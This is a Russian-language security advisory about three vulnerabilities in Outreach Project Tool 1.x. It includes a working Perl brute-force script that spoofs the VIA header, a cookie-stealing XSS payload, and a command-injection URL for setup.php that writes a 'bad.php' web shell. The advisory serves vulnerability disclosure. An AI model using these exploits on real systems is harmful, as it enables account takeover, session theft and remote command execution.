Security Lab

Множественные уязвимости в системе управления проектами Outreach Project Tool

Дата публикации:20.01.2003
Всего просмотров:1237
Опасность:
Высокая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Межсайтовый скриптинг
Раскрытие важных данных
Компрометация системы
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Outreach Project Tool 1.x
Описание: Outreach Project Tool  от CSO Lanifex GmbH используется для поддержки связи с клиентами через Web интерфейс, в течение выполнения проекта. В программе обнаружено три уязвимости:
  1. Запрос - Заголовок Tarpit

    Функция "OPT_remote_IP()"(/opt/general.php) принимает "X_FORWARDED_FOR" и "VIA" переменные среды. Это делается для идентифицирования возможных прокси-серверов. К сожалению, эти переменные – часть заголовков HTTP запроса. В следующем Http запросе:

    ---*---
    GET /opt/whatever HTTP/1.1
    Host: whatever
    VIA: 1.2.3.4
    ---*---
    
    переменной "$HTTP_VIA" будет присвоено IP пользователя.

    В результате становиться возможным анонимное использование приложения и “ Brute-force” нападение против учетной записи пользователя. Эксплоит:

    Simple example for a brute-force attack against OPT:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use HTTP::Request::Common;
    use HTTP::Response;
    my ($url,$uid,$pf) = @ARGV;
    open(P,"< $pf") || die "passf.?\n";
    my $ua = LWP::UserAgent->new(requests_redirectable => ['POST']); # 
    carefully !
    while(<P>){ my $pwd = $_; chomp($pwd); my %h = ( VIA => 
    (rand(255)%255).".".(rand(255)%255).".".(rand(255)%255).".".(rand(255)%255) ); 
    my $res = $ua->request(HEAD 
    "$url?lang=0&justlogged=1&username=$uid&password=$pwd&tz=+0200&button=Login now",%
    h); my $hds = $res->headers; my $new = $hds->header("Location"); my $res2 = $ua-
    >request(GET "$new",%h); my $res2 = $ua->request(GET 
    "$new",%h); # strange db-redirect stuff ?!! my $cod = $res2->code; my $pag = $res2-
    >content; print "$uid:$pwd ".(($cod =~ /20\d/ && $pag !~ /is 
    invalid/ig)?"\tYES":'')."\n"; } close (P); 
  2. Несколько XSS уязвимостей:

    Типичная XSS уязвимость существует в нескольких функциях оболочки. Например, войдите в систему и в Notes -> News -> Ad News. Затем создайте запись news с

    < script> alert(document.cookie); </script>
    
    Каждый пользователь, просматривающий эту новость, получит всплывающее окно с идентификатором сессии. Уязвимость позволяет украсть учетную запись любого пользователя (в т.ч. администратора системы).
  3. Проблемы установки (/opt/setup)

    Если атакующий способен создать lock файл "lock01" в setup_lock каталоге, то возможно создать новую установку среды и выполнить системные команды через setup.php сценарий.

    Также "temp_CRM_dir" параметр передается непосредственно к функции PHP-exec. Эксплоит:

    http://localhost/opt/setup/setup.php
    ?CRM_email=opti@localhost
    &CRM_system_email=mei@localhost
    &CRM_path=/disk2/apps/opt/OPT_0.946b/opt
    &CRM_db_host=localhost&CRM_db_uname=opt
    &CRM_db_pwd=opt
    &CRM_db_db=opt
    &CRM_may_demo=0
    &temp_CRM_dir=a;echo+-e+%5c074?passthru%5c050%5c044c%5c051?%5c076+%3E+bad.php;
    &CRM_mail_fname=OPT_incoming_mail
    &action=Set up my OPT server
    
    Этот эксплоит создает сценарий "bad.php", который содержит следующий код:
    <?passthru($c)?>
    
    в OPT-setup каталоге.
Ссылки: Outreach Project Tool Multiple Vulnerabiltiies